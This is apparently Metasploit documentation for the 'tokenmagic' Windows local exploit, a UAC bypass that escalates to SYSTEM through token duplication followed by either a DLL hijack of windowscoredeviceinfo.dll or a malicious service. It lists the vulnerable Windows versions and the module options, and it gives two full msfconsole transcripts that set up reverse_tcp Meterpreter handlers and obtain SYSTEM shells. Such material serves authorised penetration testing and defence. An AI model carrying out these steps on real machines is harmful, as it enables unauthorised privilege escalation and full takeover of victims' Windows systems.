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Tokenmagic

documentation/modules/exploit/windows/local/tokenmagic.md

6.4.13110.3 KB
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Vulnerable Application

This module exploits a UAC bypass in windows that allows the attacker to obtain remote code execution by leveraged a privileged file write. From the PoC:

Essentially we duplicate the token of an elevated process, lower it's mandatory integrity level, use it to create a new restricted token, impersonate it and use the Secondary Logon service to spawn a new process with High IL. Like playing hide-and-go-seek with tokens

The module exploits the high IL gained from the "token magic" by either starting a malicious service or by performing a DLL hijack on a known DLL in system32.

Installation And Setup

Windows 10 versions 1803 is vulnerable out of the box. Token Magic works on Windows 7sp1, 8, 8,1 and Windows 10 instances up to 1803. The DLL hijacking method in this module relies on a DLL that is only usable in Windows 1703 - 1803 and will not work on other versions. Also note the DLL method uses a trigger that can take up to ten minutes to return a shell. The technique may work on Windows 7 sp0, but loading powershell appears to crash the session. You might be able to upload and run the powershell script manually after some edits to accomplish access to a Windows 7 sp0 target.

Verification Steps

  1. Start msfconsole
  2. Get a Meterpreter session
  3. Do: use exploit/windows/local/tokenmagic
  4. Set the METHOD of exploitation, either DLL or SERVICE
  5. Set the LHOST, SESSION and PAYLOAD options
  6. Do: run
  7. You should get a shell, the exploitation process should be fairly instantaneous

Options

METHOD

Select between DLL hijacking and service exploitation

  • DLL mode: Using the elevated privileges from token magic the module will write a malicious file to c:\windows\system32\windowscoredeviceinfo.dll, a temporary host process is spawned and a DLL trigger is injected into the process to call the usoclient. When the usoclient EXE runs it loads the malicious DLL windowscoredeviceinfo.dll with SYSTEM level privileges.
  • SERVICE mode: Using the elevated privileges from token magic the module, create a malicious service, and then start it with SYSTEM level privileges

SERVICE_FILENAME

Filename for Service Payload (Random by default).

SERVICE_NAME

Service Name to use (Random by default).

SESSION

The session to run this module on.

WRITABLE_DIR

Directory to write file to (%TEMP% by default).

Scenarios

Tested on Windows 10 x64 1803 (Build 17134) via DLL Hijacking

msf > use multi/handler
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 172.16.199.1
lhost => 172.16.199.1
emsf exploit(multi/handler) > options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     172.16.199.1     yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf exploit(multi/handler) > run

[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Sending stage (200262 bytes) to 172.16.199.135
[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.135:49941) at 2021-05-14 12:38:30 -0400

meterpreter > bg
[*] Backgrounding session 1...
msf exploit(multi/handler) > use windows/local/tokenmagic
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf exploit(windows/local/tokenmagic) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf exploit(windows/local/tokenmagic) > set lport 4443
lport => 4443
msf exploit(windows/local/tokenmagic) > set session 1
session => 1
msf exploit(windows/local/tokenmagic) > set method DLL
method => DLL
msf exploit(windows/local/tokenmagic) > options

Module options (exploit/windows/local/tokenmagic):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   METHOD            DLL              yes       SERVICE or DLL, please select which attack method you would like to use (SERVICE by default).
Note that the System Orchestrator service which loads the overwritten DLL when using the DLL method can take up to 10
minutes to trigger (Accepted: SERVICE, DLL)
   SERVICE_FILENAME  IfoTziL          no        Filename for Service Payload (Random by default).
   SERVICE_NAME      NTSHIUUVp        no        Service Name to use (Random by default).
   SESSION           1                yes       The session to run this module on.
   WRITABLE_DIR                       no        Directory to write file to (%TEMP% by default).


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     172.16.199.1     yes       The listen address (an interface may be specified)
   LPORT     4443             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(windows/local/tokenmagic) > run

[*] Started reverse TCP handler on 172.16.199.1:4443
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable.
[*] Checking Target
[*] Attempting to PrivEsc on DESKTOP-O5RD7G3 via session ID: 1
[*] Uploading payload to C:\Users\msfuser\AppData\Local\Temp\WindowsCoreDeviceInfo.dll
[*] Running Exploit on DESKTOP-O5RD7G3
[*] Executing TokenMagic PowerShell script
[*] Reflectively injecting exploit DLL into a spare process and triggering the LPE...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[+] Enjoy the shell!
[*] Sending stage (200262 bytes) to 172.16.199.135
[*] Meterpreter session 2 opened (172.16.199.1:4443 -> 172.16.199.135:49803) at 2021-05-14 12:52:58 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : DESKTOP-O5RD7G3
OS              : Windows 10 (10.0 Build 17134).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 3
Meterpreter     : x64/windows
meterpreter >

Tested on Windows 10 x64 1803 (Build 17134) via service exploitation

msf > use multi/handler
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf exploit(multi/handler) > options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf exploit(multi/handler) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf exploit(multi/handler) > set lport 4444
lport => 4444
msf exploit(multi/handler) > run

[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Sending stage (200262 bytes) to 172.16.199.135
[*] Meterpreter session 2 opened (172.16.199.1:4444 -> 172.16.199.135:49874) at 2021-05-14 12:18:40 -0400

meterpreter > bg
[*] Backgrounding session 2...
msf exploit(multi/handler) > use windows/local/tokenmagic
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf exploit(windows/local/tokenmagic) > options

Module options (exploit/windows/local/tokenmagic):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   METHOD            SERVICE          yes       SERVICE or DLL, please select which attack method you would like to use (SERVICE by default).
Note that the System Orchestrator service which loads the overwritten DLL when using the DLL method can take up to 10
minutes to trigger (Accepted: SERVICE, DLL)
   SERVICE_FILENAME  dbfkhe           no        Filename for Service Payload (Random by default).
   SERVICE_NAME      BNPzhEQL         no        Service Name to use (Random by default).
   SESSION                            yes       The session to run this module on.
   WRITABLE_DIR                       no        Directory to write file to (%TEMP% by default).


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(windows/local/tokenmagic) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf exploit(windows/local/tokenmagic) > set lport 4443
lport => 4443
msf exploit(windows/local/tokenmagic) > set session 2
session => 2
msf exploit(windows/local/tokenmagic) > run

[*] Started reverse TCP handler on 172.16.199.1:4443
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable.
[*] Checking Target
[*] Attempting to PrivEsc on DESKTOP-O5RD7G3 via session ID: 2
[*] Uploading payload to C:\Users\msfuser\AppData\Local\Temp\dbfkhe.exe
[*] Running Exploit on DESKTOP-O5RD7G3
[*] Executing TokenMagic PowerShell script
[+] Enjoy the shell!
[*] Sending stage (200262 bytes) to 172.16.199.135
[+] Deleted C:\Users\msfuser\AppData\Local\Temp\dbfkhe.exe
[*] Meterpreter session 3 opened (172.16.199.1:4443 -> 172.16.199.135:49876) at 2021-05-14 12:19:24 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : DESKTOP-O5RD7G3
OS              : Windows 10 (10.0 Build 17134).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 3
Meterpreter     : x64/windows
meterpreter >